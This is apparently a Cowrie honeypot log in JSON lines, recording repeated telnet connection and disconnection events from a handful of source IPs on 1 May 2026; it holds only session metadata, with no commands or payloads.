{"eventid":"cowrie.session.closed","duration":31.261231184005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.226315Z","src_ip":"108.61.251.217","session":"ddefb959dd41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6c4b66aead9","protocol":"telnet","message":"New connection: 108.61.251.217:39770 (10.17.0.5:23) [session: d6c4b66aead9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.257227Z"}
{"eventid":"cowrie.session.closed","duration":30.971338272094727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.355892Z","src_ip":"104.167.8.156","session":"f16912c84c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429160356521606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.455869Z","src_ip":"104.167.8.156","session":"84b3f62cc673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39776,"dst_ip":"10.17.0.5","dst_port":23,"session":"842a520d4760","protocol":"telnet","message":"New connection: 108.61.251.217:39776 (10.17.0.5:23) [session: 842a520d4760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.717771Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":32810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5c419d882b9","protocol":"telnet","message":"New connection: 104.167.8.156:32810 (10.17.0.5:23) [session: c5c419d882b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.841328Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d5a2dcc617","protocol":"telnet","message":"New connection: 104.167.8.156:52086 (10.17.0.5:23) [session: b4d5a2dcc617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.940925Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a22fb2acad","protocol":"telnet","message":"New connection: 104.167.8.156:52218 (10.17.0.5:23) [session: 52a22fb2acad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.985241Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"548988581648","protocol":"telnet","message":"New connection: 104.167.8.156:33546 (10.17.0.5:23) [session: 548988581648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.063898Z"}
{"eventid":"cowrie.session.closed","duration":31.207244873046875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.200912Z","src_ip":"104.167.8.156","session":"4e89bdf76775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35824,"dst_ip":"159.203.135.109","dst_port":23,"session":"da948b873cf0","protocol":"telnet","message":"New connection: 98.70.41.28:35824 (159.203.135.109:23) [session: da948b873cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.301471Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53960,"dst_ip":"10.17.0.5","dst_port":23,"session":"841cc7aeeab6","protocol":"telnet","message":"New connection: 188.208.141.113:53960 (10.17.0.5:23) [session: 841cc7aeeab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.340899Z"}
{"eventid":"cowrie.session.closed","duration":30.517317533493042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.389369Z","src_ip":"108.61.251.217","session":"3bd5f22f33de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39794,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f835d1611e0","protocol":"telnet","message":"New connection: 108.61.251.217:39794 (10.17.0.5:23) [session: 8f835d1611e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.474833Z"}
{"eventid":"cowrie.session.closed","duration":31.362701654434204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.517240Z","src_ip":"108.61.251.217","session":"12bd90de9f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54002,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa92893f521a","protocol":"telnet","message":"New connection: 104.167.8.156:54002 (10.17.0.5:23) [session: aa92893f521a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.601348Z"}
{"eventid":"cowrie.session.closed","duration":53.7463903427124,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.625947Z","src_ip":"188.208.141.113","session":"76fb20db6ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.388485193252563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.711369Z","src_ip":"104.167.8.156","session":"82295f72a232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35510,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d7c7e4be1c","protocol":"telnet","message":"New connection: 104.167.8.156:35510 (10.17.0.5:23) [session: 86d7c7e4be1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.742218Z"}
{"eventid":"cowrie.session.closed","duration":31.73829960823059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:17.970960Z","src_ip":"104.167.8.156","session":"b3bee671eafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55306,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73eac36ca0f","protocol":"telnet","message":"New connection: 104.167.8.156:55306 (10.17.0.5:23) [session: e73eac36ca0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.008314Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39804,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af135176241","protocol":"telnet","message":"New connection: 108.61.251.217:39804 (10.17.0.5:23) [session: 2af135176241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.039649Z"}
{"eventid":"cowrie.session.closed","duration":30.591588020324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.137949Z","src_ip":"108.61.251.217","session":"228ec35a2f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84414577484131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.160825Z","src_ip":"104.167.8.156","session":"7c32d9f5b505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52221918106079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.229763Z","src_ip":"104.167.8.156","session":"bba3b9b0134b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34214,"dst_ip":"10.17.0.5","dst_port":23,"session":"1baaee8b6773","protocol":"telnet","message":"New connection: 104.167.8.156:34214 (10.17.0.5:23) [session: 1baaee8b6773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.264673Z"}
{"eventid":"cowrie.session.closed","duration":31.06758141517639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.271376Z","src_ip":"108.61.251.217","session":"cf4257a4e9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c942e728699","protocol":"telnet","message":"New connection: 188.208.141.113:53974 (10.17.0.5:23) [session: 7c942e728699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.421780Z"}
{"eventid":"cowrie.session.closed","duration":31.1471049785614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.489243Z","src_ip":"104.167.8.156","session":"35457847ec23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56896,"dst_ip":"10.17.0.5","dst_port":23,"session":"b655705fbac7","protocol":"telnet","message":"New connection: 104.167.8.156:56896 (10.17.0.5:23) [session: b655705fbac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.579795Z"}
{"eventid":"cowrie.session.closed","duration":31.565815448760986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.616533Z","src_ip":"104.167.8.156","session":"89af01f2b9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417331218719482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.632271Z","src_ip":"104.167.8.156","session":"1a90235908e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39820,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33a9d4fd38a","protocol":"telnet","message":"New connection: 108.61.251.217:39820 (10.17.0.5:23) [session: a33a9d4fd38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.848795Z"}
{"eventid":"cowrie.session.closed","duration":31.941238403320312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.853230Z","src_ip":"108.61.251.217","session":"f87f8993ac13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c59ff1dde5","protocol":"telnet","message":"New connection: 104.167.8.156:57884 (10.17.0.5:23) [session: f5c59ff1dde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.882453Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36052,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cfd1d193fb9","protocol":"telnet","message":"New connection: 104.167.8.156:36052 (10.17.0.5:23) [session: 3cfd1d193fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:18.910897Z"}
{"eventid":"cowrie.session.closed","duration":30.889015197753906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.035241Z","src_ip":"104.167.8.156","session":"0a8c54e243ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677473783493042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.095402Z","src_ip":"104.167.8.156","session":"9a724d9a25a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503720998764038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.129520Z","src_ip":"104.167.8.156","session":"913a71296357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.376078844070435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.134784Z","src_ip":"104.167.8.156","session":"85519022b5d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82656455039978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.195478Z","src_ip":"108.61.251.217","session":"efd0a6eba742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.414555549621582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.206330Z","src_ip":"104.167.8.156","session":"94009ef12510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"f23f943f0722","protocol":"telnet","message":"New connection: 104.167.8.156:37370 (10.17.0.5:23) [session: f23f943f0722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.317871Z"}
{"eventid":"cowrie.session.closed","duration":31.42507815361023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.626598Z","src_ip":"104.167.8.156","session":"84ce1d04eed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38276,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d2d9395c20","protocol":"telnet","message":"New connection: 104.167.8.156:38276 (10.17.0.5:23) [session: 93d2d9395c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.633442Z"}
{"eventid":"cowrie.session.closed","duration":31.48661470413208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.776413Z","src_ip":"104.167.8.156","session":"58b91ecd5108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa36c123e262","protocol":"telnet","message":"New connection: 108.61.251.217:39826 (10.17.0.5:23) [session: fa36c123e262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.831890Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35852,"dst_ip":"159.203.135.109","dst_port":23,"session":"393da1d3f553","protocol":"telnet","message":"New connection: 98.70.41.28:35852 (159.203.135.109:23) [session: 393da1d3f553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.866862Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35866,"dst_ip":"159.203.135.109","dst_port":23,"session":"55295ccb4974","protocol":"telnet","message":"New connection: 98.70.41.28:35866 (159.203.135.109:23) [session: 55295ccb4974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:19.949522Z"}
{"eventid":"cowrie.session.closed","duration":30.20480751991272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.089828Z","src_ip":"104.167.8.156","session":"c7291786c480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39794,"dst_ip":"10.17.0.5","dst_port":23,"session":"9342d3763c7b","protocol":"telnet","message":"New connection: 104.167.8.156:39794 (10.17.0.5:23) [session: 9342d3763c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.136594Z"}
{"eventid":"cowrie.session.closed","duration":30.8753080368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.258636Z","src_ip":"108.61.251.217","session":"71b6beaf7cd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae622985b0cd","protocol":"telnet","message":"New connection: 104.167.8.156:40358 (10.17.0.5:23) [session: ae622985b0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.307829Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43530,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29907c33c6e","protocol":"telnet","message":"New connection: 104.167.8.156:43530 (10.17.0.5:23) [session: d29907c33c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.313157Z"}
{"eventid":"cowrie.session.closed","duration":30.738072395324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.571857Z","src_ip":"104.167.8.156","session":"d14cf4c51f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f02699ae40","protocol":"telnet","message":"New connection: 108.61.251.217:39828 (10.17.0.5:23) [session: 09f02699ae40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.689686Z"}
{"eventid":"cowrie.session.closed","duration":31.620566606521606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.712242Z","src_ip":"104.167.8.156","session":"1b444c2bee51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32507824897766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.748637Z","src_ip":"104.167.8.156","session":"187b20785fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.349106788635254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.776628Z","src_ip":"104.167.8.156","session":"c51c583538a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39830,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb1632ae97c1","protocol":"telnet","message":"New connection: 108.61.251.217:39830 (10.17.0.5:23) [session: eb1632ae97c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.819874Z"}
{"eventid":"cowrie.session.closed","duration":31.30503749847412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:20.944776Z","src_ip":"104.167.8.156","session":"d18df0e7f661","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45374,"dst_ip":"10.17.0.5","dst_port":23,"session":"144578f8bbd2","protocol":"telnet","message":"New connection: 104.167.8.156:45374 (10.17.0.5:23) [session: 144578f8bbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.009002Z"}
{"eventid":"cowrie.session.closed","duration":30.423993349075317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.136908Z","src_ip":"108.61.251.217","session":"ba3b524b1b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45960,"dst_ip":"10.17.0.5","dst_port":23,"session":"0319b83e2a2b","protocol":"telnet","message":"New connection: 104.167.8.156:45960 (10.17.0.5:23) [session: 0319b83e2a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.188179Z"}
{"eventid":"cowrie.session.closed","duration":30.621475219726562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.208391Z","src_ip":"108.61.251.217","session":"1cff33f90c89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39832,"dst_ip":"10.17.0.5","dst_port":23,"session":"af1cf0b76aea","protocol":"telnet","message":"New connection: 108.61.251.217:39832 (10.17.0.5:23) [session: af1cf0b76aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.342871Z"}
{"eventid":"cowrie.session.closed","duration":31.189305305480957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.365745Z","src_ip":"104.167.8.156","session":"fd54784435fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35892,"dst_ip":"159.203.135.109","dst_port":23,"session":"04efa2dbb203","protocol":"telnet","message":"New connection: 98.70.41.28:35892 (159.203.135.109:23) [session: 04efa2dbb203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.405256Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39836,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba22006957c7","protocol":"telnet","message":"New connection: 108.61.251.217:39836 (10.17.0.5:23) [session: ba22006957c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.544265Z"}
{"eventid":"cowrie.session.closed","duration":30.647886991500854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.589508Z","src_ip":"104.167.8.156","session":"a82ff3130462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63435649871826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.635049Z","src_ip":"104.167.8.156","session":"f294ffa06fcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20561385154724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:21.863740Z","src_ip":"104.167.8.156","session":"03f07017e0e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7119562625885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.031575Z","src_ip":"108.61.251.217","session":"125e2b106212","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94382643699646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.035551Z","src_ip":"104.167.8.156","session":"87fa504a0db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749423503875732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.067873Z","src_ip":"104.167.8.156","session":"033aa5e80a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.477031230926514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.095475Z","src_ip":"104.167.8.156","session":"3dc16933382e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48758,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbf51ffcb0f","protocol":"telnet","message":"New connection: 104.167.8.156:48758 (10.17.0.5:23) [session: 4bbf51ffcb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.109288Z"}
{"eventid":"cowrie.session.closed","duration":30.267520904541016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.120571Z","src_ip":"108.61.251.217","session":"5d3dfe44a2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45632,"dst_ip":"10.17.0.5","dst_port":23,"session":"393839c7b87d","protocol":"telnet","message":"New connection: 104.167.8.156:45632 (10.17.0.5:23) [session: 393839c7b87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.138542Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39802,"dst_ip":"10.17.0.5","dst_port":23,"session":"f97a3f319b7d","protocol":"telnet","message":"New connection: 104.167.8.156:39802 (10.17.0.5:23) [session: f97a3f319b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.143542Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8f5b128ea9","protocol":"telnet","message":"New connection: 188.208.141.113:41096 (10.17.0.5:23) [session: 2a8f5b128ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.259866Z"}
{"eventid":"cowrie.session.closed","duration":30.538970708847046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.313559Z","src_ip":"104.167.8.156","session":"d78639900982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574158430099487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.325211Z","src_ip":"108.61.251.217","session":"37092c413b87","protocol":"telnet"}
